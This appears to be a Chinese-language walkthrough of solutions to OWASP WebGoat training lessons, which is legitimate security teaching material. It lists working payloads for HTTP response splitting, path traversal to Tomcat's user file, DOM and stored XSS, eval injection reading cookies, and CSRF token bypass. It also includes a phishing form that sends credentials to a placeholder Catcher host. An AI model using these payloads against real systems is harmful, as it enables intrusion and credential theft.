***General*************************************************************
1、Http Spliting step1cn%0aContent-length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-length:30%0aHaha
step2
//添加Last-Modified头,设置服务器页面的过期时间,注意日期的格式。cn%0aContent-length:%200%0a%0aHTTP/1.1%20200%20OK%0aLast-Modified:%20Thu,%2001%20Jan%204099%2012:00:00%20GMT%20%20%20%0aContent-Type:%20text/html%0aContent-length:30%0aHaha
***Access Control Flaws**************************************************1、Bypass a Path Based Access Control Scheme
../../../../../../../etc/tomcat6/tomcat-users.xml
当前在第几级目录,则有多少个..就可以到根目录。
***AJAX Security*********************************************************1、LAB: DOM-Based cross-site scripting step1submit
step2onmouseover......
haha
onmouseover/onmouseout......
haha
step3
step4
Please enter your password:
可以通关,但是pass.value会报错。
step5 编辑/owaspbwa/WebGoat-svn/target/WebGoat-5.4+SVN/javascript/DOMXSS.js,给name添加escapeHTML函数。function displayGreeting(name) { if (name != ''){ document.getElementById("greeting").innerHTML="Hello, " + escapeHTML(name); + "!"; }
编码后,变成
Hello, <a οnclick="javascript:alert(/xss/)">haha</a>
2、LAB: Client Side Filtering
step1 用webscarab抓取Ajax数据,可以发现12个员工的数据。3、XML Injection4、JSON Injection 用webscarab抓取xml、JSON数据直接进行修改即可。5、Silent Transactions Attacks 分析script代码知Ajax调用submitData(accountNo, balance)函数转账,则可直接调用此函数进行转账。在浏览器输入:javascript:submitData(666,10000)
6、Dangerous Use of Eval
123"');alert(document.cookie);//
alert('Whoops:You entered an incorrect access code of "123"');alert(document.cookie);//"';
7、Insecure Client Storage step1 firebug调试clientSideValidation.js,在42行return caesar处设置断点,连续运行即可发现所有coupon码: platinum gold pressone presstuo 输入任意一个即可通过 step2 用webscarab抓取Ajax返回包,修改返回值为0即可完成。 ***Authentication Flaws*************************************************************1、Basic Authentication step1 查看请求头即可知。 step2 1、使用webscarab删除认证头以及cookie(必须同时删除这两个)。 2、在返回的登录框中用basic:basic登录。 3、删掉此时cookie的值,即返回一个全新的webgoat。 4、选择此次课程即可通过。2、Multi Level Login 2 以Joe/banana登录,输入指定的Tan即可查询自己的信息。此时通过webscarab修改发送请求的hidden_user的值为Jane即可。3、Multi Level Login 1 同上,修改hidden_tan的值即可。 ***Buffer Overflows********************************************************************1、Off-by-One Overflows 使用burpsuite注入。 ***Code Quality*************************************************************************1、Discover Clues in the HTML 查看html源码,搜索<!即可发现: <!-- FIXME admin:adminpw --><!-- Use Admin to regenerate database --> ***Cross-Site Scripting (XSS)***********************************************************1、Phishing with XSS 构造form表单:通过代理可以看到确实向服务器发送了http://xx.xx.xx.xx/webgoat/Catcher?PROPERTY=yes&user=XX&password=XX&submit=Login的请求,但提示请求的内容不存在!!!!!!!
2、LAB: Cross Site Scripting step1 编辑tom的profile,修改street部分为:<script>alert(/xss/)<script>,然后用Jerry登录查看tom的profile即可完成课程。//也可以修改其他字段。 step33、Stored XSS Attacks 在Message框内输入<script>alert(/xss/)</script>即可。4、Reflected XSS Attacks 观察发现,UpdateCart Purchase均以post提交数据,但Enter your credit card number:以及Enter your three digit access code:处的值均被post原样返回,所以可以在 此处构造js。<script>alert(/xss/)</script>5、Cross Site Request Forgery (CSRF) 同Stored Xss6、CSRF Prompt By-Pass
7、CSRF Token By-Pass
A、打开资金转账页面:在URL后添加transferFunds=main参数。 B、查看页面源码,发现:<input type="hidden" value="-953910496" name="CSRFToken"> C、构造Payload。关键是先加参数transferFunds=main打开转账页面获取该页面的CSRFToken。